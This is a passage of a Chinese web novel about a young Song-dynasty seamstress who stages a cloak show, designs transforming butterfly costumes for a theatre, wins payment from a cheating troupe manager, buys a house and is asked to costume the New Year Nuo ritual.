“好,”林秀水点头,她接下来的重心会放在抽纱绣上,她轻笑一声,想抄她的东西,抄吧,能抄明白算她低头认输。 越激她,她的斗志越高昂。 林秀水这一段时间都要在裁缝作里,那么同样得兼顾下满池娇的事宜,之前说做斗篷,大家的斗篷都做完反复收尾了。 当初本来就以此为题,谁做得好以此为形制,先放到临安去,其他再商量放到桑青镇里来。 她并没有草率地下结论,而是说要在裁缝作里开一个斗篷秀,先选一百人,看了之后投签子评选。 顾娘子感慨于她充沛的精力和无限的巧思,说她会让庄管事安排下去的。 当然满池娇的众人并非都同意,对于有些裁缝来说,衣裳做得好不好,卖不卖得出去才是关键,展示给其他裁缝看,那不是媚眼抛给瞎子看。 除了忐忑怕挑刺以外,还怕打击信心。 章娘子放下手里的活问:“一定要比吗?” 林秀水面朝众人,她一字一句地说:“不是比,是展示,不是挑谁的差,谁的好,而是看谁做得好,谁做得更好。” 斗篷很容易掩盖身材上的不足,大小都可以穿,而且斗篷几乎没有形制的要求,她在以此定题的时候,就想了做好之后让大家展示。 她不想大家全被固定死,认为衣裳只有做好了,等别人穿后才知道如何,又或者想让她直接出衣样,照着做就行,长此以往,大家会在做衣上麻木、呆滞、僵板。 林秀水不想满池娇成为她的思想,让大家有自己的考量,她从斗篷秀开始,以后以各种东西为题,反复开衣物展。 反对声很强烈也无妨,背后偷偷骂她也无妨,她想要的是大家的以后,满池娇的以后。 “准备吧,决定找谁来穿,两天后见,”林秀水站在大家面前,“甩脸子可以,不来也可以,衣裳给我带过来。” “想说什么,来抽纱绣找我。” 满池娇离抽纱绣离得挺远,就算一时激动想要找林秀水理论,顶着冷风走到那里,头上的火苗也噗嗤熄灭了。 这件上午定的事,下午传遍了裁缝作,大家议论纷纷,对此表示非常新奇和期待。 有些人想跑来满池娇里问,但林秀水在抽纱绣里,关上院子门,屋子里挺暖和,只开了几条窗户缝。 在抽纱线有说有笑的众人 ,听见关门的声音,纷纷看向她,手里的动作也停止了。 林秀水解下外套,搓搓手,“怎么了,很惊讶吗?” 大家连连点头,她们有将近十日没见过林秀水了,不同于满池娇众人的不服气,抽纱绣所有的人都很信服林秀水。 毕竟这是她从最开始只有小七妹和李锦两个人时,手把手带出来的,后来选学徒,到织巧会选人,大家都跟她有不一样的情感。 很难说到底有多复杂,毕竟有的人想嫁给她。 林秀水总是带着笑容,“今日起到半个月内,所有的活都先停下,得辛苦大家帮忙做出两件衣裳来。” “这不是客单,是我的私事,需要大家帮我一块将这两件衣裳做出来,如果期间有觉得辛苦的,随时可以跟我说,在这期间,月钱会多两贯…” “林管事,”小七妹大声地说,“不用说的,你的什么忙我们都可以帮。” 李锦慢吞吞地开口,“我什么都可以,我的手艺练得很不错了。” 哪怕不是林秀水时刻管着,李锦和小七妹也一直没有松懈,或许就是等着林秀水说,有用得上她们的地方。 “我很愿意,林管事,我不是为着钱才说这种话,我就是想说,不要说让我们帮忙了,”张娘子说,“我们哪一个不是从你的手底下出来,才有今时今日呢。” 大家七嘴八舌地表示,无论多难可以做到,林秀水选择抽纱绣来作为她的底气,就是因为知道,大家会和她站在一起并肩作战。 这次她除了金色头纱外,还有一条白色蕾丝花边头饰,以及黑白拼接蕾丝蝴蝶抹胸长裙,和一条非常重工的偏黄偏金裙子,上面的刺绣和所抽掉的纱组成的蝴蝶镂空,很繁复,属于一眼看上去再也忘不掉。 但对要做出来的人来说,是相当困难的挑战,加上林秀水,再加顾娘子找来的四个织金能手,二十个人十五个日夜,做完抽纱加纱刺绣裁衣钉珠,做的时候崩溃,做出来后相当了不起。 大家干劲满满,先从头纱和包边头饰开始,在一间屋子里忙忙碌碌,听从林秀水的调派,毫无怨言。 林秀水承担最主要部分的抽纱和刺绣,纱裙的整只蝴蝶镂空蕾丝部分很难绣,而且她要用白纱抽掉不少的线,加银丝来做衣服后背处蕾丝的骨骼,抽得手抖。 她深呼吸,为了无人能再说抄她做出来的衣裳很容易,为了没有下一次可以用她的衣裳来威胁她,也为了来之不易的一切。 她不会低头,该向她低头的另有其人。 因为这两件衣裳,她下工后敲着酸疼的肩膀,找到汪二娘,语重心长地说:“你这一个月里不许再吃烧鸭了,不然我的衣裳穿不上,你就完了。” “我知道的,”汪二娘努力挤出笑脸,“我再也不想吃烧鸭了,我什么也不会多吃。” 林秀水说:“以后会让你吃上的。” 汪二娘静静看着林秀水,“好,我很相信你。” “相信我的人都很有眼光,”林秀水大言不惭地说。 汪二娘努力忍住眼泪点头。 林秀水出来后,路上碰见一身黑衣的王荔,王荔看见她叹口气,“你早答应,还能多赚点钱呢,这下没有钱又讨不着好,上面都已经再练动作了,十几日内肯定能换掉的。” “试试看,”林秀水笑盈盈地说,“不过竹篮打水一场空。” “说好十五日为期的,别偷偷改了,改了那就真的很不好玩了。” 王荔好言道:“我们还是很想要跟你好好商量的,钱不满意还可以谈,什么不满意都可以谈的。” 林秀水呵呵一声,“我不满意你们换人。” 王荔没话可说,只好跟林秀水确定十五日这个期限,她好回去交差,又觉得林秀水嘴硬,指不定心急如焚,茶饭不思,到处想对策,殊不知林秀水根本没有,她在此期间,还很有兴致地开了个斗篷秀。 有一百名裁缝拿到了签子,到外面曾经空置的书院处,如今被顾娘子长期租了下来,等待斗篷的亮相。 在场裁缝脸上都抑制不住期待。 “今年她们满池娇搞得风风火火,每一次都是大动静,”有位老裁缝说。 “谁说不是呢,我们说冬天里冷得慌,不止手脚麻木,脑子也跟着木楞,林管事偏偏还能搞出这么多的花样来,每次都小瞧了她。” 每个在场的裁缝很是感慨,从对林秀水的轻视,对她年纪的不屑,到眼下对林秀水除了服气两字,没有别的话。 而这场斗篷秀,也成为此后所有服装秀的开始。 顾娘子等着人陆续穿斗篷进场,不免问身旁的林秀水,“做的怎么样了?” “还行,”林秀水回了句,看着空出来的过道,“虽说有些棘手,先把大概的轮廓和绣样做完,其他的慢慢细化,如果这次成了,后面抽纱绣我想再招人,我们可以做春夏两衫,色织布这种偏硬挺的,还比较适合做一些衫子的。” 顾娘子看前面过道上慢慢走过来的人,说道:“你倒真沉得住气。” 林秀水将目光放到那人穿的斗篷上,她回了句,“沉不住气的会输得很快。” 她不再言语,而是和其他人一样专心看斗篷秀,这也是她在年底前做的收尾。 出乎这群裁缝的意料,满池娇的斗篷做出来并非中规中矩,如同大氅一样严严实实的,或者料子很厚实,包裹住全身,堆砌绣样。 第一件穿出来的斗篷,菱纹格交织的白和绿色,穿在人身上,很流畅的花型,从肩膀处到小腿处,侧边用了一窄一宽两道织纹暗边,从垂坠着粉、青、白三色的小流苏。 料子看上去相对厚实,却在装点下有着说不出的轻盈。 一出来,大家议论声四起,瞪大眼睛难掩自己的震惊,忙将目光放到后面,后出场的那件斗篷,领口相对来说要小,青绿色,长度从脖颈一直垂到脚边,廓形也是花瓣边,不同的是有金边小花点缀,从两侧一直开到最底下,开了一朵朵大小不一的金莲。 “嗯?不是,能做出这么多花样的吗?”有人侧头跟旁边的人说,没压住声音,又赶紧捂住嘴。 “你别说话,赶紧看。” 哪怕见识了许多好衣裳的裁缝,也体会到了目不暇接的感觉。 实在很出彩,就哪怕寻常的粉青两色,都可以在斗篷上做出上下撞色,领口缝制毛领,底下做不规则的花瓣裁剪,缝制雪白的毛球,又活泼又俏皮。 还有做两面穿的,一面荷花明绿,一面水墨暗纹,当场换了一面斗篷后,看得人眼花缭乱,目瞪口呆。 有人还揉了揉眼睛,二十五条斗篷,每一条都有着独特的美,轻盈、活泼、端庄、俏丽、沉稳,没有清一色的美。 大家看见了满池娇不同,也看到了这些裁缝 的用心,夸奖声一阵又一阵。 “我特别喜欢这个流苏,天呐,点缀得特别好。” “我倒是很欣赏第六条那个裁剪,还不是层层叠叠的,底下缀着的小铃铛真的很不错,颜色搭得也很好。” “你们懂那件雪莲斗篷吗,刚才一出来,我压根没挪开眼,还是两层布的,很少有把这种素白色也。能做得这么好看。” 原本忐忑的满池娇众人,在这么多夸奖声里,挺起胸膛,满满的欢喜在全身流淌,下了许多功夫,卖出去不曾听见的夸奖,在这里听了个遍。 也忽然明白林秀水的用意。 让好好做衣的裁缝找到了日后该走的路,让一直墨守陈规的裁缝忽然见了新世面的大门。 今年林秀水也交出了一份亮眼的成绩,打破了所有常规的偏见,和对她年纪的轻视。 临近结尾,顾娘子让她说点什么,她在众人的目光里说:“不说明年的事情,就说眼下的,我们在裁缝作里也可以结社,大家相互切磋和交谈,我们满池娇没有可以藏着掖着,不能让大家知晓的。” 林秀水做衣的理念就是什么都要试着做,做不成再改,完成比完美重要。 大家再度震惊,有人问道:“真的吗?” 林秀水说得很笃定,“当然。” 像从前织巧会说的那样,她希望大家聚在一起,是为了一切向好。 斗篷秀圆满落下帷幕,而在抽纱、刺绣、钉珠,日夜苦做衣,包含了二十人的心血的衣裳,等着新蝶恋花的开幕精彩亮相。 之前看过蝶恋花变装的,有看过五六遍还买了坐票来的,她跟身边的同伴说:“我都能数着鼓点,知道她们在哪里变衣裳,你等着我晚点告诉你,你千万别眨眼。” 该女子说得很笃定,结果蝶恋花一上来她就傻了眼,原先的蝶恋花呢?? 大家站起来,翘首以盼,台上推出一张屏风,纸做的屏风,众人从来没有在一张屏风上。看到那么多精巧镂刻的花纹,原来是一朵朵镂刻的蝴蝶贴在上面,随着鼓点敲起,几人脚步轻快地上来,穿着很长的水袖,在屏风前如花朵般舞动。 那屏风上面的纸制蝴蝶,一只只飞向众人,引得众人哄抢,再抬头就见那屏风后面,有雪白镂空发饰半包着人,慢慢的,褪去了脸上的装扮,变出背后透明又灵动的羽翅。 穿过屏风,在花丛间轻快地飞舞,大家跟着她一左一右地转视线,此时还有不少嘈杂的声音。 随着她走到另一扇屏风后,转个圈羽翅消失,露出上白下黑不规则,双层面纱的抹胸长裙,裙子上沾着展翅欲飞的蝴蝶,搭着大蝴蝶袖时,那种黑白的冲击力,比起之前飞舞的大翅,更让人心生敬畏。 黑色网纱覆盖着脸,眼睛被蝴蝶所遮盖,在现场的众人无不为之一静。 忽然鼓点变了节奏,花又将蝴蝶包裹于其中,等挣脱出来后,金色的长头纱先露出来,垂下来的雪白珠链吸引着大家的注意力,可又会回到那珠子缝制起来的纹路上。p 哪怕坐在后排,也能看出流光溢彩,更别说那覆拢于全身的长裙,像是美丽圣洁的金蝶,这才是羽化成蝶。 全场没有哗然,相反地安静下来,又爆发出震天的欢呼,比之前的还要热烈。 台下王荔难以合拢自己的嘴巴,又看向信誓旦旦说要换人,得罪林秀水也没有关系的大管事,反正他相信林秀水太年轻,再出不了绝对叫座的好衣裳。 他从前都是这么做的,没有人能够反抗,这回倒是真碰到硬茬子了。 “怎么办?”这下换王荔心急如焚了。 大管事想给自己一嘴巴子,他深呼口气说:“跟人好好商量,无论什么结果都答应。” 他都等不到明日,难以想象明日的轰动,不想等北瓦子以更高的价钱,将人挖走。 王荔和大管事硬着头皮又去找林秀水,姿态放得很低,“林娘子,什么条件我们都可以谈。” “你们不是可以照仿吗,”林秀水微笑,“给我仿一个试试看。” 她坐在那,轻轻抬眼,“三个月内能仿出来我就认输。” 没人说话,之前南瓦子的依仗是能仿出来,造出第二个蝶恋花,而眼下是给他们半年,兴许能做得一模一样出来。 “等明日再谈吧,”林秀水站起来,轻轻笑了声,“你们之前开价一百贯请我,以后三百贯也请不到我。” “别走,别走,还可以商量,我们永远不会换人的,”大管事急得团团转,“四百贯行不行?买下来,衣裳我们买下来。” 当然还可以好好商量。 林秀水不会跟钱过不去,她要人写红契,不许换人刻进骨子里,按两百贯一件衣裳,出之前每一场的钱,以后看她心情要不要再做。 让南瓦子忘不掉的除了衣裳,还有她这块铁板。 林秀水则拿着红契,缓缓露出笑容,这次不是她一个人的功劳,是很多人一起造就而成的。 她想一只蝴蝶的羽翼很渺小,那么很多聚集而成的蝴蝶,煽动起来也足以造成一场风暴—— 作者有话说:红包[红心] 明天应该不更新 第98章 第 98 章 蚕蛾与新房 腊月里, 桑青镇头一件新鲜事,便是蝶恋花。 蝴蝶变装,尤其破茧成蝶的说辞, 在依靠桑蚕为生、主赋税的市镇里,没有避讳,相反这里蚕蛾崇拜盛行。 蚕吐丝后, 会破茧成蛾,蜕变为蚕蛾,在短短的几日里繁衍,留下蚕种, 千年间周而复始的延续。 是以新版蝶恋花一出场,叫好又叫座,场场人头攒动。 不过很多人都不满意蝶恋花这个名字, 有不少人认为应该叫蚕与蛾才好,或是蝶为蛾影等等。 林秀水满心以为,大家为她的设计而倾倒,结果一堆人在南瓦子的小道上,跟她探讨蛾跟蝶的区别。 脸蛋红扑扑的小娘子说:“那衣裳歘一下变的时候,我一下子想到蚕了。我养蚕时,蚕每七日一眠, 每一眠会蜕皮, 从前三眠, 往后四眠才成虫吐丝结茧, 再破茧成蛾。那白丝织成的破洞衣裳,不就像是茧丝嘛。” “你做衣裳的时候,肯定也是这么想的吧?” 林秀水无言,抬举了, 并没有。 她转身,又听一老一少在争论。 老者捋把胡子慢悠悠地说:“蚕蛾蚕蛾,蚕为天下虫,蛾在其后,虽当不成榜首,也能混个探花。” 少年则道:“蝶能采花蜜,蜜能治百病。” “你蜂了没?” 两人齐齐转身问林秀水,“你说呢?” 林秀水背过手道:“不好说,我得先去补一补《中庸》之道啊。” 少年问:“什么意思?” 老者回:“她说下回站咱俩中间。” “哦——”少年恍然大悟,“原来如此,怪不得三人行,必有我师焉。” 一说到蚕桑,镇里人就什么话也听不进去了,发了狂,指蝶做蛾。 争蛾斗蝶,越吵越烈,蝶恋花的风头越出越盛。 林秀水压根不参与,不过她后面还是偏了蛾派,因为说不过,她们搬出了峨眉山,地上的不行,还有天上的嫦娥。 唔,以及小春娥。 小春娥振振有词,她说贴羽做蝶就是春蛾,林秀水只好偏心一点了。 不过论到做衣裳,还是喜欢蝴蝶的多。 “争争争,我一说蚕蛾有蝴蝶那样漂亮的翅膀吗,就跟我扯东扯西,”王大娘子说到这眉头皱成八字,一见柜子上摆出来的蓝紫黑边蝴蝶领,她眼睛瞪圆,闭上了嘴,乐滋滋地对镜试起了领子。 她可等了十来天,抓心挠肝地等。 实在很抢手,这单还是她从别人手里花高价买的。 “花了多少?”林 秀水好奇。 王大娘子抬起手,露出一对金钏,上下一晃,叮叮啷啷地响,又比了一根手指。 林秀水猜测,“一百文?” 王大娘子低头看领子垂下来的长尾,语气得意,“那也太看不起你了,我愣是给你抬了个身价,一两金。” “嘶,”林秀水站在柜台与墙面的夹缝里,面色戚戚,“姐,下次有这种生意,记得找我。” 中间商赚差价。 好气! “姐想着你呢,给你百两金,你给我做一身那金丝金线的,”王大娘子冲她眨眼,额头贴的珍珠亮闪闪。 林秀水立即道:“那不成,给姐你做三身。” 王大娘子人有钱,很阔气,“好,以后衣裳都到你这做了。” 林秀水还送了她两条用木盒装的领抹,抽纱绣里出来,王大娘子只瞥了一眼,又定了十条,她早中晚换着戴,钱到金银交引铺里兑。 说到金银交引铺,林秀水拉开柜子,取出一本账册,之前里面夹杂着南瓦子的红契,如今变成已兑换的八百两。 不过这笔钱,她拿得很曲折。 那日南瓦子蔡管事很爽快地签了契,承诺买下蝶恋花之前变装所有衣裳,也同意给八百两。 签完他立即变了脸色,抚摸两撇小胡子,拉长声调,嗓音尖锐,“可是从我们这里拿钱,只有两个法子。” “一是到我们南瓦子西边那曹家柜坊里,拿契去支八百两,二则,” 他顿了顿,笑容更深,“我眼下便能给你八百两银,出了门,我们就银货两讫了。” 若是刚到桑青镇的林秀水,保不准犹豫再三会答应,这会儿的她清楚个中底细。 柜坊早先是寄放和保管钱财的铺面,到眼下已变为赌坊,关扑博戏,别说给八百两,不倒赔输个精光就见鬼了。 当面当日付清八百两银,银子摆在一排,银光闪闪很是晃眼。林秀水不为所动,她嗤笑,南瓦子惯用的骗术便是用铜铅做金银,出了门哪里都花不了。 除了这两种法子外,除非她上官府去,一遍遍控告,不然根本拿不到钱,契约只能变成废契。 南瓦子的生财之道很多,有被称作白日鬼的小贩专门骗钱,还有出名的水功德局,用求官、迁转、讼事、买卖等骗取钱财和谋利。 蔡管事洋洋得意,他赌林秀水这个小丫头片子没法子。 林秀水面不红心不跳,甩甩红契,瞟他一眼,“你多长几张脸了吧。” 还有脸说出来。 她冷笑,“长八百个心眼,我也拿得到我应得的。” 不好意思,有的是招。 相较于南瓦子,在顾家成衣铺对岸,被称为金银坊的北瓦子则更豪奢,这里有一整条街的金银交引铺。 交引铺买卖茶引、盐引,又兼之金银交易,动辄金银运转数以万计,林秀水没进去,她走进了其中铺面装潢最奢靡的彩帛铺。 李家彩帛铺不止卖彩帛,还兼金银交引,以及隐晦的讨债营生,因为一般欠债不给,小的铺面有小的法子,大的诸如南瓦子这种硬骨头,则有都税务的官司给他们吃。 林秀水跟这家彩帛铺关系挺密切,不止是到这买彩帛多,主要今年顾家裁缝作的色织布,一半卖给了她家。 色织布的彩比染出来的更艳,固色更好,条纹花样新奇,彩帛铺为了明年的色织布以及两边关系,且今年林秀水风头正盛,很乐意以各种法子帮林秀水讨要。 彩帛铺请了都税务出马,两日便悉数讨来。 足重的十六锭五十两真银,银子一般有大锭五十两,小锭为二十五两、十二两、七两和三两。 林秀水一边看人拿秤来称银子,一边听彩帛铺李娘子冷哼道:“那老鳖孙可坑了不少钱,叫都税务逮住了,要叫他坐监牢,以后没钱就盯着他呢。” “要是再有这事,只管找我,”李娘子压低声音,“我娘家几个哥哥有的是门道。” 林秀水可惜看不到蔡管事的神情,她只管道谢,等银子称完事毕,李娘子不叫林秀水走,她贴过脸来,小声而亲切地说:“你也不用谢我。” “倒是还得阿俏你以后多提点提点,我们做彩帛营生的,金银交引倒是次要,看的还是料子出货多少。” “可惜每年盛行的料子衣裳不相同,你眼光不俗,又有好手艺,光我知道今年的荷莲,蝶蛾就出自你手,我们私底下可艳羡了,明年你要不给我透透风。” 林秀水听完,她轻轻笑了一声,“这年月刮什么风我可不好说,不过顺风好做,逆风难行。” 刚承了人家的情,她也透露了些,明年她要出款新料子,叫作胜轻纱。 抽纱绣明年春夏会出整匹的料子,用丝重更轻的三眠蚕来织,这种料子会比纱的飘,相对更有垂感,镂空织花透风会较凉快。 这话说得轻狂,李娘子信又不信,轻纱一在轻,二是薄和透,还要胜轻纱。 林秀水不多解释,在彩帛铺里,她用二百两定了下一年的纱和缎,又拿了剩余的钱去了金银交引铺里换碎银。 交引铺的伙计不仅殷勤,还送给她一包临安茶菊,以及一桌酒楼或正店的席位。 林秀水盯着一堆碎银问道:“哪里都可以吗?” “对,”伙计很自得,“我们陈家交引铺在哪里都有关系。” “给我来最好的。” 她慢悠悠地说:“多谢,我不挑。” 成堆的碎银,闪着光泽,林秀水试着抱起来,很沉重,她又放下手,微微露出点笑容。 心很轻快,想哼着小调。 金银越沉重越好,她得来的一切都不容易。 隔一日,她在北瓦子最好的酒楼办庆功宴,她自己定了几间大的稳便阁儿。 此时蝶恋花不仅在南瓦子场场满座,甚至已经移到最中心的神楼,在两侧最大的两侧腰棚里表演,每日人数不断,街边张贴的招子也全换成了蝶恋花。 街市扑买的冠子、头饰、耳坠基本为蝴蝶、蚕蛾形状,团扇、布料等等,甚至碗具都有。 夜里参宴的抽纱绣众人衣着朴素,楼下坐的宾客好奇地看她们几眼,继续说起蝶恋花,浑然不知她们联手造就了蝶恋花。 “今年南北两瓦舍,没一个有新意的,年底倒是杀出来一个,”做钗环生意的商客闷了一杯酒,跟旁边的小贩打赌,“你信不信,从明日起不管啥蝶,只要沾点边那生意就好做得很。” “我算是压注了,也别说赶明儿了,今晚我就把一枚蝶赶花金梳背,金镶玉四蝶银步摇花钗、双蛾簪给拿下来,趁着年底赚上一笔。” 坐他旁边的货郎说:“还真说不准,按我走街串巷买卖那么多年来看,这生意确实好做,钗环什么我不打算上手,我准备叫人做些蝴蝶和蛾形灯笼去。” 长期在市井坊巷的商贩对即将盛行之物最为敏锐,不光两人如此说,边上好几桌也在议论此事。 不同的是,他们谈论与蝴蝶相关的买卖与否,坐在靠楼梯角落的那两桌,六人都是周边成衣铺里的裁缝。 “人比人当真气死人,”年过四旬的裁缝一脸沉重,“我怎么就想不出来呢。” 另一个裁缝夹了一筷子菜,笑道:“那你可别气。” “毕竟气死你,你也做不出来。” 其余几人沉默,手很痒,不想做衣,想打人。 “之前那蝴蝶罩衣,我自己私下做了很久,做出来都差些意思,后面那蝴蝶领我也买了五六条,还没绣好,这回人家又出了新的,老天,”年轻的小裁缝哀嚎,“没有几个月,我是做不出来了。” “裁缝和裁缝,手艺也不同啊,我决定了,”中年裁缝郑重地说,她下了个决定,“我找水记给我做身衣裳。” “那你可抓紧,两个月内能不能排到你再说。” 楼下讨论得热火朝天,酒楼里请了小唱,唱的是各种词本的蝶恋花,悠扬婉转。此时上楼的抽纱绣众人等,面色红润,兴奋而又与有荣焉,升起一种切实被认可的感觉。 不枉费她们日以继夜的辛苦,好像再也想不起来,总是冰冷僵硬的手指,轮换着去烤炉火,裁缝作的人全下工以后,她们抽完所有的纱,在那细小的孔眼里一寸寸编织出形状。 等菜上来,一群人也不说了,转过头等林秀水开口,她站起来,在烛光交错里举起酒杯,她说:“敬大家。” 每个人都用不同的目光凝视着她,轮番跟她敬酒。 林秀水喝了几口,她又笑道:“别急,还有一件事,我们镇里腊月有祭财神纸马的习俗,我给大家每人都备了一份。” “啊啊啊啊,”小七妹拿到纸马后叫出声,她打开沉甸甸的袋子后不敢相信,都是碎银子,起码有三十两。 每个人都有! 财马的财原来是给财,马是马上拥有的意思吗。 大家至此喜悦攀升到顶点,全都喜气洋洋。 之后林秀水也 单独谢了顾娘子、金裁缝等人,大家让她不要客气,毕竟她还有得请。 是的,林秀水至少得再请一次。 她终于买房了! 蝶恋花让她净赚了上千两,她有很多余钱,和王月兰逛了又逛,看了又看,终于在靠近南货坊最中心的地段,请张牙郎说价,花三百两多买了一间大宅院,围墙、照壁、前厅、穿廊、后寝一应俱全。 那窄小的阁楼,只透点微光的天井,长满青苔的院子,也变成了宽敞明亮,雕花大院的宅子。 大家说她很争气。 可不止如此,即使到了年底,林秀水还收到了来自官府的帖子,请她做今年傩礼的神鬼服饰。 她右手拿着刚签完的房契,左手握着递来的红帖,手指摩挲上面的名字。 林秀水又重复问道:“真的是请我吗?” “是的,”来人很肯定地回答。 傩礼是整个宋朝腊月里最隆重的节礼了,宫中办大傩仪,民间则称为乡人傩,一直到除夕,驱邪避灾,盛况空前绝后。 即使很匆忙,对她来说考验很大,林秀水毫无犹豫应下了。 这一年底,她崭露锋芒—— 作者有话说:真的很对不起大家。 今年由于个人的原因,导致本文更新中断了很长一段时间,即使事出有因,我也感觉到非常抱歉。 之后没有特殊情况,应该会每天更新直到完结。 红包致歉,以及抽奖感谢所有读者的关心和等待。 第99章 第 99 章 万物生灵 有句俗语叫作腊鼓鸣, 春草生。 腊鼓便是腊日二十四行傩击鼓,傩为腊祀祭礼,在最初上古时期, 人们会戴面具,手拿戈盾,嘴里呼喊傩、傩、傩来逐疫驱邪, 到宋朝则有诗写为驱病鬼,媚钱神。笑他腊鼓闹东邻,是酬神、祈年的节日。 乡人傩遍布市镇四野,一到腊月, 各地鼓声不断,商贩挑担卖各色面具。 傩的历史相当久远,在桑青镇也流传了上百年, 由官府、社首、布行出头,另有易行社,是临安昭庆寺的佛教法会,还有全为杂剧伶伎的绯绿社出钱。 林秀水听穿绿衫的官吏说:“林娘子,今年布行的行老和社首都很看好你,绯绿社有不少名角私下也说过好多次,所以今年到了腊祭前才匆忙相邀, 还请不要见怪。” 布行的行老引荐她, 林秀水心里倒并未有多少惊异, 她跟布行往来很频繁, 至于社首主管各种祭祀,她不认识,更别说绯绿社的名角,即使官吏说了名字, 她只模模糊糊听人提起过。 官吏往前走,又回头笑道:“等小娘子你见到了,说不定就相熟起来了。” 林秀水跟在他身后,走得不快,过了两排照壁,进了间屋子里,绕过绣花鸟的屏风,屋里一角的铜制香炉缓缓飘出一阵香,火盆烧得很旺,偶尔一阵笑声。 官吏带她进去,又报了名姓,屋里笑声便越发轻快,“快请她进来。” 屋里不乏男子女子,分坐在几张檀木桌旁边,正对面的横木衣架上挂了红红绿绿的衣裳,桌上凌乱放了许多纸样。 林秀水解下青绿斗篷,面对众人投来的目光,倒也不惧,大大方方行了礼,坐在右侧穿红绣花锦袄的杨从宜上前拉她,她是北瓦子杂剧里的头牌。 她很瘦,长相清秀,说话也很和煦,“这回可算是见面了,我也久仰林娘子大名许久了。” 林秀水说得很谦虚,“可真抬举我了,我也就是好风凭借力,才能到大家面前来。” 屋里众人也笑,在这里十五个人里,全为二十多到四五十岁,只有她很年轻,瘦长身姿,面孔也难掩青涩,瞳仁很亮,透露出少年心气。 除杨从宜外,其余人在等着林秀水看她的本事。 主管的张社首年纪很大,长了一把白胡子,脸很瘦长,林秀水总觉得他很像一只羊。 当然说话就不像了,很像牛叫,她的意思是,很浑厚。 “我们这几年办的傩礼,基本为钟馗、小妹、判官、五方神使、灶君、羊面鬼、药师、雷神,服饰也没甚变化,今年虽说离除夜傩礼只剩二十日,我们也商量多些变动。” 他说了句玩笑话,“我看了蝶恋花后,确实反思了下,不能固守老路子,也得破茧才对。” 又立即引到林秀水身上,“林娘子你说呢?” 林秀水在来的前一日,已经有了充分的了解,他们说的钟馗、小妹、羊面鬼等等,包含了小鬼,只管往脸上涂成青面,判官则固定穿着红衣袍子,雷神最突出的点就是手拿拨浪鼓,钟馗在于脸涂得很黑。 除此之外,也用到了非常多的道具,各种斗笠、箩还有箕,有鼓、锣、铃或者檀板、笛子等等器乐,至于手里拿着的东西,包括花枝、扇子、大小篓子、各色瓜果、红青黑等面具,绣样不多,关键在于怪异奇绝感。 林秀水本来觉得大家会做些很奇怪的衣裳,来打破原本的传统,结果一个说得比一个保守。 此时她被点到,心里长叹口气,端坐着,双手交叉放在桌子上,她顶着众人的目光慢慢开口:“如果是我的话,乡人傩本来便是酬神,祈求来年五谷丰登、问祥消灾的好日子。我来前便曾想过,应当出些什么神鬼精怪才好。” “既然腊月过完便是年,又很快到立春,我们说春神句(gōū)芒,它掌管万物生机,鸟面人身,骑着两龙,我认为很合适。” “还有青鸟,为西王母报信神鸟,说是祥瑞,非常合适。” 林秀水选的这两个,相对来说百姓都很熟知,也满足了祥瑞、崇尚新一年的希望,算是契合了在场大家所盼望的,在商讨后,很快被采纳,希望她尽早出衣裳。 但在乡人傩,这种百姓狂欢,热闹鼓舞的日子里,她压根不这么想,其实她心里有点失望,说是要突破,可大家聊得太正经了,出的图样林秀水不大满意。 这种正经到她不得不迎合,而非畅快地提出自己的设想,她认为可以更加奇诡,即使摒弃血迹等东西,什么牛角、符咒、铜钱、红线都可以用上。 “我有点失望。” 林秀水从衙门出来后,小春娥在外面等她,今天两人一块来的,她搓搓脸,跟小春娥说:“跟我想得完全不一样。” “怎么,句芒他们都不满意?今年春耕的收成还要不要了!”小春娥气鼓鼓,穿得圆鼓鼓,双手叉腰,“青鸟也很好啊。” 她重复,“就是很好啊。” 两人穿梭在喧嚷的人群里,林秀水嘀咕,“太一本正经了,你知道我当时想说的吗?” “想说你们都给我下来,”小春娥模仿林秀水的语气,摇头晃脑地说,“让我林秀水上来好好跟你们说说。” “你正经点。” 小春娥伸出一根手指轻点她的胳膊,“这会儿又嫌我正经了??” “停,”林秀水让她住嘴,前段日子太忙,两人都没有工夫聚在一块,这会儿找了间做肚子羹的食铺吃饭。 小春娥跺跺脚,她哦了一声,蒙住眼道:“你有点太出奇了。” 原来林秀水说,她当时很想说,她想给她的剪刀做一套衣裳,名叫裂娘,肯定能震惊四座。 她那把顾娘子送的并州剪刀,实在很好用,剪厚料子都很丝滑。合起来为并,张开为剪则可裂帛,怎么都很合适。 林秀水靠在椅背上说:“从古至今我敢说,没有人给剪刀做衣裳的,手握一副大剪,真的很好玩啊。” 小春娥仔细一想,转而笑嘻嘻地说:“那你给我也想一套,到时候我跟你一块穿,就不会觉得你特别奇怪了。” “好,给你出一身蛾子的,”林秀水也跟她一块笑,“天天说蛾派蝶派,我还是站你这边的,让大家也知道,即使是蛾不止白、棕两色。” 自从争蛾派蝶派之后,林秀水 还深入了解过蛾类,在她心里,小春娥很像明州独有的绿色大尾蚕蛾,青青绿,淡淡粉。 “也只有在你心里,我是只漂亮的蚕蛾,大家都说像伸着长脖子,左右看的大肥鹅。” 小春娥听了美滋滋的,最近猫冬,她只顾着吃,因为冬天烧炭太暖和了,她管三只炉子,总有一只炉子会空下来,她舍不得那些余炭。带着只小铜锅,等炉子空下来就放上去借点火,热各色茶汤喝。 每次还都能准确听出管事的脚步,反正一次都没有被抓到过,她越发洋洋得意,到头来林秀水瘦了,她还长了几斤肉,全长在脸上了。 林秀水说她得意“忘形”。 小春娥不承认。 揽了一堆活,林秀水还要抽出空来搬新家,从桑树口搬走,其实她很舍不得,只不过吹的河风实在有点太冷了。 最难受的要数陈桂花,她今年忙到头,赚了不少钱,都有二十几两能翻新房子,盖新房顶,觉得自己是桑树口独一份的人家,锃光瓦亮的新房顶呢。 起码能压王月兰的老房子一头。 听到这个消息,她的心就像风吹雨打,年久不换的瓦一样裂开了,她难受得很,她吃不下饭,她绝对是不想王月兰住进好房子里,而不是舍不得。 “真走啊,”陈桂花在门口徘徊来徘徊去,终于伸个脑袋进去,看王月兰收拾屋子,嘴巴抿起来,“这搬走了,以后我就是桑树口头一户的人家了。” 王月兰难得没反讽她,放下装衣物的细巧笼仗,“你确实是。 ” 陈桂花更难受了,噎得说不出话来。 王月兰也不小心眼了,扬起张笑脸,“你可别想了,这房子还是我的,我们以后还得回来住的,要是哪里坏了,我天天杀回来找你麻烦。” 陈桂花瞪大眼,大着嗓门说:“噢,那你回来吧。” 今日天色好得很,阴沉冬日里难得的好天气。 陈桂花要帮她们搬东西,说是认认路,以后好串门,她太惆怅了,掉了两滴泪,愁的,隔壁没人跟她吵嘴了。 